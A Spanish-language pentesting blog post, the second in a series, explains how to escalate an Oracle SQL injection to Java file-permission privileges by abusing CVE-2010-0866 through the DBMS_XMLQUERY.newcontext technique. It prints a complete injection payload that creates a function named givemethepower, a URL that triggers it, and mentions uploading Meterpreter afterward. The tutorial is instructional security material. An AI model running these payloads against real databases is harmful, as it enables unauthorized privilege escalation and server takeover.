SQL Injection hasta la cocina - Oracle (y II)

Hacer un par de días veíamos en ESTE post como podíamos ejecutar comandos del sistema operativo en una base de datos Oracle, pero nos quedamos con la limitación que teníamos que conseguir de alguna manera elevar privilegios y obtener permisos de java.io.FilePermission.

La manera de elevar privilegios está muy ligada a la versión de la base de datos y a su nivel de parcheo, ya que de vez en cuando se descubren vulnerabilidades que podrían ayudarnos a nuestros fines. La mejor manera de saber que opciones tenemos es hacer un fingerprinting de la base de datos  buscar esta versión en sitios web como Secunia o SecurityFocus, para que opciones tenemos.

Una de las vulnerabilidades que podemos utilizar es la etiquetada como CVE-2010-0866, que fue descubierta por el gran experto en base de datos David Litchfield. Esta vulnerabilidad permite, a cualquier usuario de la base de datos auto-asignarse privilegios de Java, con lo que es más que suficiente para lo que pretendemos.

Explotando esta vulnerabilidad conseguiríamos los privilegios necesarios para ejecutar todas las acciones que veíamos en el anterior post. Solo tenemos una pega ¿Cómo metemos este exploit en una sentencia SQL dentro de la inyección? ¿No os parece una SQL un poco rara? Efectivamente, la vulnerabilidad no puede ser explotada desde una sentencia SQL "normal", sino que es necesario disponer de un acceso PL/SQL, que podríamos decir que es como si fuera un lenguaje de scripting interno de la propia base de datos Oracle que nos permite mucha más potencia que una simple SQL, como definir variables, hacer bucles, etc ¿Cómo hacemos entonces para ejecutar esto? Veámoslo.

En la OWASP AppSec DC de 2012, Sumit Siddharth nos contaba una técnica de la que él mismo decía que lo cambiaba todo en el mundo de la explotación de vulnerabilidades a través de Inyecciones SQL. La técnica consistía en la existencia de un paquete llamado "DBMS_XMLQUERY" que contiene diversas funciones que permiten la ejecución de comandos PL/SQL, pero que pueden ser llamadas desde una SQL "normal". Empleando esta técnica, podemos ejecutar exploits en PL/SQL contra nuestra base de datos objetivo, para así conseguir elevar privilegios.

Según las pruebas que he hecho, lo que menos problemas da es crear una nueva función en la base de datos con el exploit que habíamos mencionado anteriormente. Yo he llamado a la función "givemethepower()", pero si estáis haciendo un Pentest profesional yo os recomiendo que le pongáis un nombre que identifique a vuestra empresa, para que sea más fácil de identificar.

http://www.vulnerable.com/oracle.asp?id=1 and dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION; begin execute immediate ''create or replace function givemethepower return number is PRAGMA AUTONOMOUS_TRANSACTION; begin execute immediate ''''DECLARE POL DBMS_JVM_EXP_PERMS.TEMP_JAVA_POLICY;CURSOR C1 IS SELECT ''''''''GRANT'''''''',USER(), ''''''''SYS'''''''',''''''''java.io.FilePermission'''''''',''''''''<>'''''''',''''''''execute'''''''',''''''''ENABLED'''''''' from dual;BEGIN OPEN C1; FETCH C1 BULK COLLECT INTO POL;CLOSE C1;DBMS_JVM_EXP_PERMS.IMPORT_JVM_PERMS(POL);END;'''';commit;return 1;end;''; commit; end;') is not null --

Una vez creada la función, únicamente tenemos que hacer una segunda llamada utilizándola, para que el exploit se lance y se produzca la elevación de privilegios de este usuario.

Por supuesto, os recomiendo que vayáis anotando en todo momento que cosas tocáis, para luego poder volver sobre vuestros pasos y limpiarlo todo o, en caso de que no podáis, pasarle el listado a los administradores. Pero vayamos al grano y elevemos privilegios de una vez:

http://www.vulnerable.com/oracle.asp?id=1 and givemethepower()=1

A partir de este punto, estamos en el punto de partida del ejercicio anterior, con lo que podríamos repetir el proceso para ejecutar comandos del sistema operativo, pero... seguro que se os ocurren cosas mejores que hacer que crear un ficherito en c:\ ¿Verdad?

Pero bueno, para eso necesitaríamos subir el binario de Meterpreter al servidor comprometido, pero no puede ser tan difícil si herramientas como SQLMap y SQLNinja lo hacen con los Microsoft SQL Server ¿No? Otro días nos meteremos con esto en profundidad.